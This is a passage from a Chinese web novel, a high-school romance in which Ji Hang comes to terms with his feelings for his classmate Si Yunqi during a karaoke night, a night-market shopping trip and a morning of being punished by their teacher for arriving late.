“他……”曹书望犹豫，“去吗？”
季杭：“我问问。”
“嗯呢，”曹书望话音刚落，手臂蓦地一空。
他看着季杭走向司云起，腹诽：不是你有病啊，喊一声问不得了，还要凑多近去说？司云起耳朵不行还是你嘴不好使。
季杭迎着司云起的目光，刚走了几步就觉得自己好像顺拐了。
司云起为什么非要盯着自己啊！完了完了完了，本来心跳就在发疯，现在路也不会走了。
他停住脚步，想直接问司云起，话要出口时喉间又哽了一下。
……
完了……自己好像是哪里出了点问题，好像……病得不轻。
他无奈地又转身，目光瞥见正在啃桃的路柯，说：“你问他去不去。”
路柯：“？”
曹书望：“？”
司云起：“？”
路柯把一口桃生咽下去，不可置信地看着季杭，目光一言难尽，像是在问季杭：你有病？
季杭生无可恋地闭了下眼：确实有。
路柯转头扬起一个笑脸，问司云起：“司同学、不对，拽哥，sorry，云、云起？唱歌去，你去不去。”
司云起盯着季杭的背影。
他这人长大的环境不怎么样，性格寡淡友谊淡薄，不喜欢别人靠近自己，自然也不会特意去亲近谁。
但他这一天着实有点不爽。
季杭不愿意挨自己近是吧，不想和自己说话是吧。
好。
司云起头一次产生了逆反心理，季杭想远离自己？他偏不要如季杭的意。
“去。”他回答道。
季杭松了口气，下一秒，又提上来了。
因为司云起不动声色地挤走了曹书望，肩膀虚贴着自己的，还让自己走在路里侧。
肩膀有意无意地蹭几下，季杭抬手摸了下胸口。
疯了疯了。
这就是喜欢吗？！
自己真的喜欢司云起吗？！
不现实啊！才认识多久啊！
季杭停下脚步，绕了不小的一圈挤进曹书望和路柯中间。
“？”曹书望问，“你干嘛。”
司云起也停了步子，目光看了过来。
“……”季杭攥着拳心，拇指掐在食指上，胡编乱造，“问问你数学那道大题。”
路柯：“……”
曹书望：“杭，有时候我都不想说，但你这话是真晦气。”
季杭一手揽一个，“不说了不说了走走走。”
曹书望两眼审视地看着他，季杭闷头揽着他俩往前走，丝毫没注意到曹书望和路柯俩人悄悄递眼神。
路柯：“季杭是不是不愿搭理拽哥啊？”
曹书望：“这问题问得好，嘿，为什么说你问得好呢，因为季杭这小子嘴里没一句真话。前一秒他说他俩不熟，下一秒他俩就挤在一把伞里回家。”
路柯：“还有这事儿？！”
曹书望：“你看他现在这死出儿，今天他刚为拽哥揍人你忘了？”
路柯：“对！”
曹书望：“别管，别问，这俩人稀罕得很，都有病。”
路柯赞同眨眼：“我也觉得。”
于是前面三个人勾肩搭背，后面一个冷着脸的人进了ktv，开了个小包。
时间四个小时，送了果盘小食和四瓶酒。
一进包间曹书望就往点歌台去，没两步被季杭拦下了。
季杭：“你坐那儿，我知道你要唱什么，我给你点。”
“好兄弟，还是你了解我。”曹书望美滋滋地坐下，拿起话筒，响亮的声音传在包间里，“让我想想，以那一首歌作为我们今天的开场曲呢。”
“不如就许凡、”
季杭掰过距离他最近固定位的话筒，两个字噎住了他的话，“没有。”
“？”曹书望震惊，“没有？你知道我要说谁吗！怎么可能没有！拜托，那可是许、”
季杭再一次掰过话筒，“没有，下架了，点别的。”
“不可能！”曹书望站起来。
“点好了，你唱这首。”
曹书望看向屏幕，磅礴大气的前奏响起。他没动，也没坐回去。
《精忠报国》。
这首得站着唱。
季杭连着点了五十首，彻底断绝了曹书望要唱许凡君歌的念头。
并且他借口不舒服，拒绝坐到沙发上，一直守在点歌区，不让任何人靠近。
曹书望和路柯两个人一人一首，季杭看了他俩一眼，又看向坐在最昏暗位置那的司云起。
司云起很随散地靠着沙发，手搭在膝盖上，眼睛直白地盯着他。
分明是很暗的位置，可那双眼睛却很亮，眸光晦暗不明。
司云起好像不是很愿意在这里待着？季杭心想，一会儿找个借口和司云起先走好了。
季杭平直地移开视线，手机没在身边，一点意思都没有。
他百无聊赖，不经意间又看到司云起。
好家伙。
这人怎么还在盯着自己啊。
不对，是盯着自己还是盯着点歌台？难道是他嫌自己点的歌不行？他想来这儿坐着？
但季杭现在的情况，不是很适合主动去问司云起。
他担心他说话结巴……
所以他主动离开，装成要去洗手间的样子。心想自己回来后，司云起可能就坐那去了。
他走进洗手间，在水池那靠了几分钟。
总有带着酒味的人进进出出，他又换到了走廊尽头。
这块地方位置逼仄，连接楼道的门半开，他刚走过去，就看见紧贴在一起拥吻的情侣。
那对情侣吻得忘情，手在对方背上抚摸着。
季杭匆匆移开眼，倒退几步要离开这个地方时，蓦地撞到一个人胸口。
他转身，看清来人的一刻，心跳又疯了。
司云起比他高几公分，眼皮半耷，目光冷淡地落在他脸上。
季杭吞咽了口虚无，他们挨得很近，他不自觉后退两步。
这个动作在司云起眼中，更加重了他的笃定。
司云起又涌上一种莫名的烦躁。
他理不清楚，更讲不出来。好像这人老老实实在身边时，他虽没表现出来过什么，但终究是平静的。可这人突然区别对待自己，和别人勾肩搭背握手可以，和自己贴近一点点都不行。
这个认知让他烦躁不已，他皱了下眉，朝季杭走了一步。
楼道里的一对应该是听到了这边的声音，季杭听到楼道里有人下楼的动静。
身前的司云起又靠近一步，季杭下意识后退，忽地听到司云起说：
“季杭，你躲我是吧。”
季杭嘴唇轻轻动了动，却没能说出来话。
他才意识到，自相识以来，这是司云起第一次叫他的名字。
季杭视线下移，在昏暗的角落里，注意到司云起的白色T恤下摆有点皱，应该是刚才在包间里坐着压到了。
可整件衣服又是平滑整齐，唯独那一点皱，就像现在的司云起。
他依旧是少寡冷漠的神情，永远是他的事和别人无关，别人的事也和他无关。可这样一个人，竟然在季杭面前问出这个问题。
明明就短短几个字，却在某一刹那，让季杭有种错觉——
他好像见到了司云起从未示人的一面。
寂静循环，偶然有几段脚步声，他们不知道站在原地僵持了多久。
司云起一眨不眨地盯着季杭的脸，非得要个答案似的。
又是良久，季杭看着他T恤下摆，仿佛能从那小小一块发皱的布料里窥见他真正的性子。
默了默，季杭说：“没有。”
对于那些自己因为心动而不自觉的闪躲，季杭并没有察觉到。但他能察觉到，他和司云起的关系，好像神不知鬼不觉的更近了。
司云起得到了回答，没再追问。
刚刚分神只顾着想司云起了，现在季杭才看到他们还是挨得很近，一瞬间心如鸣鼓。
季杭喉结滚动两圈，后退时忽地想到刚才拥吻的情侣。
如果是自己和司云起抱得那样紧，嘴唇紧紧相贴，甚至能侵占彼此口中的空气，那自己心跳得成什么样啊……
等等、在瞎想什么！
季杭耳根红了个透，边摇头边侧身从司云起一旁过去往包间里走。
他走的很急，远远把司云起落下。推门进包间时，忽然听到了许凡君的歌。<
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见门被打开，曹书望对着他嚷嚷：“季杭你怎么回事，许凡君的歌这不都在吗！”
季杭连忙把门又关紧，隔绝了大半的音量。他堵住走过来的司云起，借口道：“先别回去了，你想去洗手间么？”
司云起站着没动。
季杭有点着急，“我想去，但那喝醉的人太多，你在外面等我行不行？”
司云起看着他，这人理由蹩脚又慌忙，因为自己是亲眼看着他从洗手间换地方的。
可这一幕却无法让司云起不动容。
所有人都在说他的存在对许凡君是威胁、所有人都觉得他的存在是个错误的时候。
季杭知道了他和许凡君的关系。
可季杭没有丝毫探究欲，坚定地站在他这边，让他不用被别人的谣言诟病，让他不需要听到许凡君的名字和声音。
……
当季杭准备拉司云起远离包间时，司云起忽地反手扣住了季杭的手腕。
这人手腕很细，握在手心透有几分凉意。
他告诉季杭：
“是你知道的那样，我是许凡君的儿子。”
季杭诧然抬眸。
“但我没有和她一起生活过，在今年以前，我甚至不知道我母亲是她。”
“司云起、”
“确实会有人来找我，”司云起说，“所以我宾馆只能住一晚。就这些，如果你觉得麻烦，我可以马上搬走。”
“司云起，”季杭隐隐有些不悦，某个包间里一声巨大的嚎叫声，让他们之间的对话不得不中断几秒，“为什么搬走，你说的这些，和我有什么关系。”
从司云起那学来的话，原封不动还了回去。
却成了一句有点拨动人心尖的话。
良久，司云起低低地嗯了一声。
包间门被打开，路柯探出头，看到他们两个，喊道：“你俩干啥呢，进来进来，玩游戏。”
曹书望唱了首苦情歌，给他唱悲了。
他非要拉着别人玩真心话大冒险。
一开始路柯还吐槽他，说土掉牙的游戏。曹书望靠着沙发，撇着嘴说：“就咱们四个，不整大冒险，就说真心话怎么样。”
“行吧行吧，”路柯把他扶正了，“有四瓶酒，也别浪费，拿这话筒转圈，指到谁谁回答一个问题，答不上来就三杯酒。”
“行。”
路柯利落地转话筒，第一个就转到了曹书望。
有点没劲，因为这家伙压根没秘密，他喜欢肖蕊那件事基本上人尽皆知了。
路柯想了想，问曹书望：“现在你没追到肖蕊，转头有个和她很像的女生来追你，你答不答应？”
曹书望皱眉，义正言辞：“我喜欢的是肖蕊啊，追不上就追不上，又不是不喜欢她了，怎么可能和别人在一起。”
路柯给他倒了一杯酒，“实在不行你喝一杯吧，喝醉能解愁。”
这话没吸引曹书望，倒是吸引了季杭。
“真的？”季杭问。
“假的，”路柯还没回答，司云起先一步给了答案。
季杭跃跃欲试的手讪讪收了回去。
下一把，路柯转到了季杭。
他两眼一转，十分八卦，问季杭：“你肯定有喜欢的人，对不对。”
季杭手指抽了抽，喉结又滚了一圈，干涩着装镇定：“有啊。”
“！谁！”路柯问。
“下个问题了这是，”季杭说，“哪能这么问，太直白了。”
“好吧，”路柯按照刚才转的方位和力度，又转了一次，这次还是季杭，他一脸兴奋，稍微收敛了点，“那你说说，为什么会喜欢那个人？”
为什么喜欢？
季杭不知道。
因为司云起帮了他三次？还是因为司云起住进了家里？又或者因为司云起会做饭……
季杭一一列举，又一一否定。
他实在没有答案，下意识转了下头，看到身旁的司云起。他猛地一颤——
喜欢司云起这个事实，在这一刻，已经被他自己接受了。
可为什么喜欢司云起，季杭没有理由。
喜欢一个人怎么会有为什么。
如果真有原因。
因为司云起帮过自己，那如果帮忙的是别人，自己是不是就喜欢别人了。
因为司云起住进了家里朝夕相处，那朝夕相处的人换了一个，自己是不是又喜欢那个人了。
因为司云起会做饭，天下千千万万的人会做饭，是不是喜欢谁都行。
不行的。
没有原因。
司云起单单只是坐在身旁，什么都不需要做，季杭的心跳就会因为他而振鸣。
“没有为什么，”季杭说。
“你是不是怕你一描述我们就猜出来了，”路柯着急道，“你咋玩赖呢。”
季杭实在答不出来，他拿了瓶酒，“那我喝。”
他身体刻意斜坐几分，对着司云起连喝了三杯。
第一杯，庆祝你我相识。
第二杯，庆祝你我相熟。
第三杯。
季杭喝第三杯之前，没来由地叫了声“司云起”。
司云起低低应下。
季杭笑了，仰起头。
这第三杯，司云起，敬我对你的心动。
原来我的心跳没发疯，它是因为太喜欢你了。
路柯和曹书望说了什么话他都没听到，他只是看着司云起很浅的皱着眉，垂眸把自己手中的酒杯拿走。
季杭心想，喜欢一个人怎么会有原因呢。
无故疯长的喜欢蔓延进他的十七岁，这世界那么多人，谁都不行，他只喜欢司云起。
“一直看我做什么。”司云起抽了张纸巾塞进他手里，让他擦掉指尖的酒渍。
季杭摇了摇头，说：“没什么。”
司云起，我不知道喜欢能抵达多远。可心脏是连绵回亘的跳动，想必喜欢也能回旋。
我会反反复复地喜欢你。
67.安置
下一把指向了司云起。
路珂愣了下，毕竟他是想还转向季杭的，关于季杭喜欢的人他真是要好奇死了。
但瓶口明晃晃地对准了司云起，抬头看到司云起冷漠的脸时，路珂有点不敢问。
还得是情绪上头的曹书望敢问，他坐直了点，问：“你怎么高三转学过来啊，还得搬进季杭家？”
“啊？”路珂瞪圆了眼睛。
季杭蹙眉，想把这话题引走。司云起却先他一秒，语气没什么起伏，说：“我对这个城市有印象。”
“怎么个事儿？”曹书望问。
“小时候和我外婆住在这里，后来搬走了。”
路珂：“那你怎么高三才转回来呀，万一适应不了学习跟不上……”
“外婆去世了。”
司云起看起来很平静，他掀起眼皮，对上季杭的目光。
奇怪的是，他见惯了各种眼神，就好比现在的曹书望和路珂，他们眼中是对自己的同情。
可季杭不一样。
因为他从来没有见过这样的目光，以至于很久很久之后他回忆起这一幕，才知道——
那是心疼。
司云起寥寥数语，季杭已经能串联起来了。
小时候曾经住在这里，之后跟着外婆搬家，外婆去世后意外得知自己还有个母亲，是著名的歌手。可既然是才得知，就证明对于许凡君来说，她有一个儿子这件事不能被大众知晓。司云起回到了他小时候生活过的地方，当年的房子也许已经卖掉了，他没地方住，又没有成年，能住的宾馆有限，兴许是许凡君一直在找他，一个地方他只能住一晚。
季杭的心忽然有点疼。
他们第一次见面时，季杭守在纯净水旁边，还暗自吐槽司云起，说这么热的天这人好像有病，竟然还带着外套。
现在想来，司云起不知颠沛了多久，全身上下没一件行李，就随手拿着件外套，口袋里装着手机和身份证。
季杭能理解，居无定所，甚至可能连明天住在哪里都不知道时，多一点东西都是负累。可他还是心疼。
与其说司云起搬进了家里，不如说他只是住了进来。
他孑然一身，东西全都是现买的，除了必须的生活用品和衣服，别的什么都没有。
好像是随时打算着离开，这些东西随时可以丢掉。他一个人，随时会没有任何负累的去下一个地方。
想到这里，季杭有点着急。
他腾地一下站了起来，“司云起，我想去买东西。”
曹书望：“？”
路珂：“？”
“司云起，”季杭语气很急，又重复了一遍，“我想去买、”
这次没等他说完，司云起也站了起来，说：“好。”
路珂：“？”
曹书望：“杭，你、”
怎么越来越不正常了。
眼看着这两个人要走了，路珂急道：“时间还没到呢，还剩三瓶酒……季杭你、”
路珂微张着嘴，眼睁睁看着季杭拿起一瓶就仰头灌了进去，不止他和曹书望惊讶，司云起也流露出几分诧异。
季杭把空酒瓶放回去，要拿下一瓶，手腕突然被截住。
司云起微皱眉心，对曹书望说：“剩下的你们想喝就喝，不想喝就留这儿。”说完没松开季杭，拉着他走出包间。
曹书望：“？”
路珂：“他俩？”
“哪里怪怪的？”曹书望挠头。
“说不上来，总之够怪的，”路珂说。
走廊里有一群人，嗓门很高，边走边说话，占了大半的位置。司云起拉着季杭，没办法两个人并肩通过，只能一前一后。
“司云起，”季杭拽了下自己的手腕，说：“你松开我。”
闻言司云起那种不可言说的烦躁又起来了，他搞不懂，这人好像很在意自己的感受，但这人又很反感自己的触碰。
他没有松开季杭，甚至连他自己都没察觉到，攥着季杭手腕的力道又紧了几分。
直到走出ktv，季杭用力抽出自己的手腕，什么话也没说。
司云起掌心里骤然空落，他抬了下手，不明白自己这动不动就烦躁的情绪从何而生，为何而起。
其实是再正常不过的一件事，可他们两个人，一个喜欢对方，另一个还不知道喜欢是什么。
就足够两个人拧巴了。
司云起偏开视线，天色暗沉，没有星星没有月亮。他深吸了一口气，问：“你要去买什么？”
这里距离大型商超有点远，季杭无意识地摩挲着刚被司云起攥过的手腕，说话时混着很轻的酒味，“附近有个夜市，带你去转转？”
三分钟后，司云起跟着季杭站在公交站牌旁边，问：“这就是你说的附近？”
“真的很近，”季杭看着司云起，“走路也用不了十五分钟。”
“那为什么还要等公交，”司云起问。
黑夜中，一旁的金叶榆晃动着叶子，发出沙沙的动静，司云起迟迟没有听到回答。
季杭始终偏头看向公交来的方向。当亮着灯的绿色车身出现在他们视线里时，司云起才听到。
这人的声音很轻，被风声绕着混进树叶中，有几分模糊。
他说：“因为我着急。”
那么轻的音量，却很重地拨了司云起的心尖一下。
公交车需要的时间更短，他们下车后，整整一条街，马路两旁都是摊位，季杭指着西边说：“去这边吧，那边全都是小吃摊。”
司云起跟着他走了过去，见这人先停在杂货摊前。
季杭想都没想，左手刚把插排拿起来，右手去够小台灯。
他把这两个放在手边，又拿了纸抽盒衣服架和垃圾桶。
大的有拖把一类的，小的是挂钩之类的，季杭去找摊主结账，着实把摊主也惊了一讶。
这孩子……家里缺这么多东西啊。
这些东西放不进司云起的房间里，季杭就一刻也安心不了。
他催促道：“叔叔，快帮我算账。”
季杭还记得他没手机，也没带钱，摊主说了金额后，他偏脸看着司云起，这些东西为什么买只字不提，说：“你先帮我付一下，回去我还你钱。”
司云起隐隐有个预感，他结了账，问季杭：“还有别的么。”
“有，”这些东西有点多，他们两个人是能拿的完，但季杭还打算继续逛，他对摊主说：“叔，我先把这些东西在你后面存一下，等我们逛完了再回来拿。”
“行，放心搁这儿。”摊主说。
摊与摊之间密集，来来回回的人潮拥挤。
季杭看到前面的摊在卖帽子，挤过人群快步走了过去。等他停在摊前时，一转头，却没见着司云起的影子。
但他们两个都是180多的高个儿，季杭微仰头，看到人群中个头拔尖的司云起被挡住了。
有几个人停在摊前没动，挡住了不少人。
有几声抱怨，还有人说“前面走一走啊，后面还有人呢”，但那几个人没动，确实走不过去。他抬了下眼，彼时还在视线里的季杭忽地不见了。
他看向更远的地方，觉得季杭可能是继续往前走了。本来他没什么情绪，可这一刻，他看着一直堵在前面的几个人，嗓音隐隐有些不耐：“你们走不走？”
有人闻言回了下头，看到个陌生帅哥的冷脸。
可就在下一秒，这陌生帅哥的表情倏地变了，变柔和了。
“司云起，”季杭刚才走是走不过来，便从摊与摊之间的缝里走到外环，走到司云起停的这个地方，他又从缝隙里挤了进来。
他绕过很多人，挤进来时因为太狭窄踉跄了两步。明明等在原地就好，反正司云起也会走到那里，他像是做了件没意义的事情。
可他在人潮里逆行也要凑到司云起身边，他们一起寸步难行，季杭笑了两声，高高地指着前面说：“想去那买帽子。”
那一刻，司云起几乎是无意识地攥紧了季杭的手腕。
他把人牢牢扣在身边，和他一前一后穿过人群，停在帽子摊前。
季杭挑了两顶黑色的，结账离开时，司云起又不动声色地攥紧了他。
季杭抿了下嘴唇，在心里告诉自己，人太多了，司云起肯定是怕和自己走散。
一路上又挑了不少东西，走到路口，地上摆了一堆花。
季杭指着最高的那棵，说：“买这个。”
最大的发财树，搬来半个月了，一直没卖出去。
他乐呵着随口问了句：“往门口摆的时候注意点哈，这盆底最好不要老动。”
“啊？门口？”季杭说，“我要放在房间里。”
摊主也：“啊？”
司云起看不下去了，“你是多想发财？”
季杭：“？”
“这么大棵发财树，你放哪里。”
“……”
须臾，季杭视线转移，“老板，我再看看。”
“行，”摊主说，“那么多绿植和多肉，你多看看。”
季杭对这
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些都不了解，一眼看过去也没有很喜欢的。刚才选中发财树纯粹是因为它大。
正想是随便挑一个还是走的时候，他的目光掠过角落，看到一棵小苗，叶子不算多，很普通。小苗还带着土，被包在保鲜膜里。
季杭问：“老板，那是什么？”
“哪儿？”摊主顺着看过去，“哦，这是嫁接的山楂树树苗，矮桩，我还没来得及栽进盆里。”
“能结果吗？”
“可以，这是大金星六年桩，结出来的果还没籽呐！”
“好，那要这个吧。”
“行，你们稍等，我给你们栽进盆里，”老板去拿土和工具。
“不用了，”季杭阻止，“给我们盆和土就行，回去我们自己栽。”
就这样，他们又抱了盆山楂。
折返回去拿了最初买的东西，两个人大包小包的，在路口拦了辆车。
司机直接穿过夜市这条街，太拥堵，刚踩油门又停，如此反复，季杭很快就晕车了。
他打开窗，猛吸外面的空气。
司云起注意到他的异样，“你晕车？”
季杭低低地“嗯”了声，“不是很严重。”
司云起看着他的背影，默了一瞬，说：“晕车当时还坐公交，那么着急么。”
确实很着急。但季杭没听出来他话里的意思，扭过脸很认真地解释：“我坐车晕，坐大巴也晕，但坐公交没事。”
顿了顿，他补充：“就是我能闻到这种车和大巴车的一种味道，但公交还好。”
路边偶有的店牌时不时映亮他的侧脸，在司云起眼中忽明忽暗的。
司云起沉默了几秒，“你还是对着窗外吧。”
可能是喝了点酒，季杭觉得这次晕车的感觉格外难受。其实他胃里没什么食物，只有酒。回家十几分钟的车程，他头又晕又疼，下车时扶着车门缓了一会儿。
司云起把后备箱里的东西都搬下来，看着季杭，“很难受？”
季杭着急把东西都搬进司云起房间，强撑着说：“没事。”说完就准备去拿东西。
“你先上楼，”司云起挡住他，“这些东西我拿。”
“不用，”季杭说，“我真没事。”
这人眉心都紧成什么样子了，说没事，谁能信。
“上楼。”司云起看着他，“不然抱你上去。”
季杭：“……你、”
“上楼。”司云起重复。
“好吧，”季杭脚步有几分虚浮，走进单元门，上楼梯时，司云起超过他两级台阶，朝他伸出了手。
楼道里的声控灯亮起，季杭看着眼前的手，愣住了。
“愣着做什么，”司云起语气很平静。
季杭喉结滚动了一圈，额头某处疼的厉害，就连视线里的手都隐约有点重影。
他犹豫几秒，在声控灯灭掉时，抬手拉住了司云起的小手指。
难为他头那么疼还有余力顾及下心跳，他只用拇指和食指轻轻拉着司云起，一步又一步，走在黑暗的楼道里。
到家后司云起让他去休息，自己下楼去搬东西。
搬上来后他把东西都放在客厅，第二次把东西都拿完了，进门一看，客厅里的东西都空了——
季杭正从他的房间里出来，说：“直接拿进你房间吧，省的再搬。”
司云起没动。
季杭走过来关上门，接过他手里的山楂树，往他房间里走，“你怎么不动？”
司云起跟在他身后走进去，看到季杭还刻意把东西摆得很规整。
原本清冷无比的房间，就因为这些普通的东西，莫名叫司云起有了归属感。
他并没有觉得季杭自作主张，只是那一瞬间，他有点想要个答案。
所以他说：“我有说需要这些东西么。”
季杭把山楂树和盆摆在阳台，起身时额头的痛感剧烈跳动了下，他闭了闭眼，说出早就预备好的回答：“没说，但租房的市场行情就这样，这些是我这个房东送的。”
司云起没说话。
季杭慢慢走近，把门边的垃圾桶拿到桌子旁边，直起身说：“短时间内别搬走了吧？”
你现在有这么多东西，想走的时候应该不会那么随意了吧。
起码，起码你看着这些，也会有一点几率，嫌扔掉它们麻烦而留下来吧。
这些东西都是属于司云起的了。
司云起却什么也没在意，只是长久地注视着季杭的眼睛，良久，他说：
“嗯，不搬走。”
68.打饭
季杭本想帮司云起一起收拾刚买回来的这些东西。
但他被司云起强行送回了房间。
隔天再醒时，他眼睛都没睁利索，打开门直奔司云起房间。
却走了几步倏地顿住——
不知是司云起有有意无意，先前始终关闭着的房门，在这天早上，是大开的。
原本空荡的房间被些杂物占据了不少的地方，司云起穿着校服站在阳台，听到动静后转头，“这棵山楂还没栽。”
季杭没反应过来：“啊？”
“你不是打算回来栽么，”司云起说。
季杭走进他的房间，问：“你这是……特意等我一起栽吗？”
司云起偏开视线，“没有特意，昨晚不方便。”
季杭“哦”了一声，蹲在阳台，小心地把保鲜膜解掉。司云起把盆拿过去，和他一起栽。
就因为早上俩人栽了棵山楂，他们上学都迟到了。
黄侯站在讲台上，凌厉的目光扫了一圈。
两个边上的最后一个都没在。
黄侯点名：“书望。”
曹书望咯噔一下，还以为黄侯是催他的检讨书，“娘娘，检讨你再宽限我两节课，大课间我一定恭敬地送过去。”
“少贫，”黄侯剜了他一眼，“季杭怎么没来？”
曹书望：“？我不知道啊。”
黄侯：“你装，你以为我不知道你俩天天凑一起？”
“……”曹书望点了下头，一秒后，又默默摇头，想起上次和司云起挤在一顶伞下的季杭，又想起八九个小时前为了和司云起先离开灌了一瓶酒的季杭，叹了口气。
“问你季杭呢，你叹什么气，”黄侯催道，“他手机还在我这儿，装病可不好使，他为什么没来？”
曹书望：“我真不知道。”
黄侯：“你再替他打掩护。”
“娘娘，”曹书望何其无辜，他是真不知道季杭为什么没来上早自习，“今时不同往日了……”
“什么今时往日的，你现在还是戴罪之身，包庇季杭就是罪加一……”
黄侯话没说完，看到后门的两个人——
季杭、司云起。
“你俩，外面站着。”黄侯说。
脚还没迈进门，俩人换了个方向，贴着墙面罚站。
季杭有点后悔，悠长地叹了口气。
司云起瞥了他一眼，还以为他是后悔栽山楂树，说：“不该让你今早栽的。”
“嗯？”季杭说，“就该今早上栽呀，要是还被保鲜膜捆着，万一因为不透气坏掉了怎么办。”
这人叹气不是后悔栽山楂树？司云起问：“你叹什么气。”
季杭摸了下肚子，惆怅道：“早知道迟到就不这么赶了，肯定吃了饭再来，好饿。”
司云起：“……”
“季杭，司云起！”黄侯出现在前门，“你俩还说悄悄话？我看你俩关系是真处好了，昨天还有摩擦呢，这摩擦出感情来了是吧。”
季杭的耳廓倏地一下就红了。
黄侯皱眉：“季杭，你站前门来，司云起站后门。”
两个人一前一后守着教室，早自习50分钟，刚开始10分钟。
季杭探头进教室，看了眼挂着的表。
好漫长，前一天晚上就没吃什么东西，他早就饥肠辘辘了。
黄侯从教室走出来，看着他们两个，气不打一处来：“你们，进教室拿书，在外面站着写题。”
看着两个人乖乖去教室，她也转身回了办公室。
季杭特意在座位那多停了会儿，问临近的人有吃的没，但教室压根不允许出现零食，他问了一圈也没，问的时候余光还注意到司云起从自己背后出去了。
“杭，”曹书望把检讨收尾，转头很认真地对季杭说，“没想到有朝一日我差点因为你检讨字数翻倍。”
“？”
“没什么，”曹书望摆摆手，“出去站着吧你。”
“无聊，”季杭说。
“无聊？”楚云回头，递上一本封皮花里胡哨的书，“别说姐有好东西不想着你。”
“什么好东西？”曹书望和路珂目光齐聚，异口同声。
楚云：“小说。”
季杭：“我才不看。”
楚云：“我刚看完一个故事，男女主和咱们一样大，爱的死去活来的，心疼死我了。”
“……”有一说一，季杭还挺想看看，这么个年纪，该怎么爱的。
曹书望“啧”了声，对楚云说：“你不如给我看，季杭宁愿做两套物理卷也不会看这个的。”
话音都没完全落下，季杭就伸出了手。
曹书望：“？”
杭，你变得让人好陌生。
季杭特意在这书封皮外面包了张英语报纸，从后门出去后，没见到司云起的影子。
？
这么一会儿的功夫司云起跑哪里去了？
他不是应该拿着课本站后门这儿么？
人呢？
季杭生出一种不好的预感。
司云起不会是被黄侯叫走挨骂了吧！
不行！
两个人一起迟到的，为什么只骂司云起一个人！
季杭捏着报纸气势汹汹，办公室半开着的门被他猛地推开。
黄侯抬头。
季杭蹙着眉，一句“要骂一起骂”在看清办公室里只有黄侯一个人时生生堵住。
司云起没在这儿？
那他在哪？！
黄侯被他吓了一跳，“季杭，你干嘛。”
季杭：“……没、也没事。”
黄侯见到他就生气，刚被没收了手机，这天早自习就迟到。
“你过来，”黄侯说。
有点完了，季杭想。
他挪着步子走到黄侯办公桌前，一副痛定思痛的表情，但黄侯不吃他这一套。
“今天叫你爸过来，我和他聊聊，”黄侯皱眉，“你这两天怎么回事？”
季杭：“……我还好吧。”
黄侯盯着他看了几秒，问：“你来办公室做什么？”
季杭：“……问、问题。”
黄侯教数学，闻言她火气消了点，“哪道？”
季杭捏紧报纸，边后退边说：“就在刚刚，我想出来怎么做了，就先不用了哈。”说完快步走出办公室。
？怎么教室后门还没有司云起的影子？
身后有脚步声，好像是黄侯过来了。
季杭猜司云起可能是去洗手间了，但问题是早自习不允许随意走动，他担心黄侯见司云起没在，又要批评司云起，心一横，咬牙回头，把即将走出办公室的黄侯堵在门口。
“你这一次次干什么呢，”黄侯上下看了他一眼。
彻底完了，季杭想。
季杭捏紧手里的报纸：“问题。”
黄侯深呼吸了一口气，心里默默告诉自己，这群高三的学生们够辛苦的，多体谅他们，多包容他们。
可她是谁。
她慧眼如炬，一双眼睛被所有带过的学生称为“鹰眼”，只一秒就看出季杭手里报纸的不对劲。
“问我英语题？”
季杭：“……”
再下一秒
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，黄侯拿出他报纸里的小说。
刚才的都是屁话！
她再怎么包容也包容不了季杭手里这本言情小说！
季杭这两天反常，太反常了！
昨天课上玩手机，今天拿着言情小说在自己眼皮子底下晃悠，明天是不是就要广而告之谈恋爱了？！
黄侯把季杭拎到办公室里一顿批。
五分钟后，门被推开。
教导主任气道：“黄老师，看看你班这学生！”
黄侯和季杭一同看去。
门口走进来个人，左右手满满当当，拿着饭。
季杭惊讶。
黄侯震怒。
“司云起！你不是在教室后门站着吗，你从哪买的饭！”
教导主任：“除了食堂还能是哪。”
黄侯：“……现在打饭窗口不是没开吗。”
教导主任：“你自己问他，他饭从哪儿打的，我从哪儿看见他的。”
黄侯：“司云起，你自己说。”
司云起：“教工餐厅。”
黄侯：“……”
季杭：“？”
主任：“我还纳闷呢，吃个饭怎么看见穿校服的，走近一看，你班的学生。”
“把他抓了个现行，”主任说，“我让他放下饭跟我走，他不。”
黄侯怒不可遏，“司云起！”
司云起声音平静：“我和主任说，带上饭吧，更能和你证明抓到我做什么了。”
当时确实说服了主任。
但从食堂走到办公室的这一路，主任越想越不对劲。
就算司云起不带着饭，自己的话还能就没人信了？
半路上他让司云起把饭放回食堂，被司云起婉拒了。
“不了吧，浪费食物。”
主任：“……”
有道理，但就是怪。
所以司云起就这么到了教学楼。
黄侯一个脑袋两个大，季杭偷看言情小说，司云起更行，早自习跑到教工餐厅打饭。
“早自习的时间，你去打什么饭！”
司云起坦诚：“是我的错，但太饿了。”
“……”
季杭看着司云起的左右手。
左手面包和八宝粥，右手拎了两个塑料袋，一个里面是鸡蛋和香蕉，另一个里面是炒芹菜。
有点厉害，打的好全。
黄侯：“出去出去，你们两个教室外面站着去，早自习在外面站一周。”
季杭忙不迭往外走。
黄侯把课外书往桌上一拍：“季杭，言情小说我没收了，别让我再逮住你看课外书！”
这话一出，季杭觉得司云起好像是看了自己一眼。
他快步走出办公室，站回教室前门。
不多时，司云起走近，停在他身旁。
“让你站后门，”季杭提醒。
司云起嗯了声，双手抬起，“吃了。”
季杭怔楞：“给、给我买的？”
司云起没回答，但手一直抬着。
季杭接过八宝粥，把剩下的推给司云起，“你吃吧，你不是太饿了吗。”
“都是你的。”
“啊？”
“昨晚你没吃东西，怕你低血糖晕倒，”司云起语气不怎么好听。
“所以你特意去教工餐厅给我买饭…”季杭快要感动死了，“还被主任抓住了……”
“嗯，”司云起把吃的塞进季杭手里，塑料袋挂他手指上，往后门口，冷淡地抛下一句：
“当时你在看言情小说。”
季杭：“……？”
69.叫家长
季满谦来二中的次数不多，在季杭的学习上也从没操过心。
有时候听楼上楼下的邻居说家里孩子不省心，两个月被老师叫家长五六次，季满谦都觉得季杭懂事。
然而。
在这阳光明媚的一天，季杭让他去学校。
他和黄侯面对面坐着，身后是季杭和司云起。
黄侯知道司云起的家庭情况，所以一开始就没让司云起叫家长。她剜了司云起一眼，说：“你的事儿没过去，处理了季杭就处理你，外面等着。”
季满谦惊讶道：“黄老师，云起这孩子怎么了？”
黄侯愣了几秒，问：“季杭爸爸，你认识他？”
季满谦回头，看了看司云起的脸色，还是决定尊重一下他的隐私，想说句别的含混过去。
司云起先一步对黄侯说：“我和你说在租房，就是租在了季叔叔家。”
“？”黄侯彻底愣住了，最初她帮司云起转学过来时，知道司云起没地方住，要给他先办个住宿。当时司云起说已经找好住的地方了，她问是哪里，司云起没说。
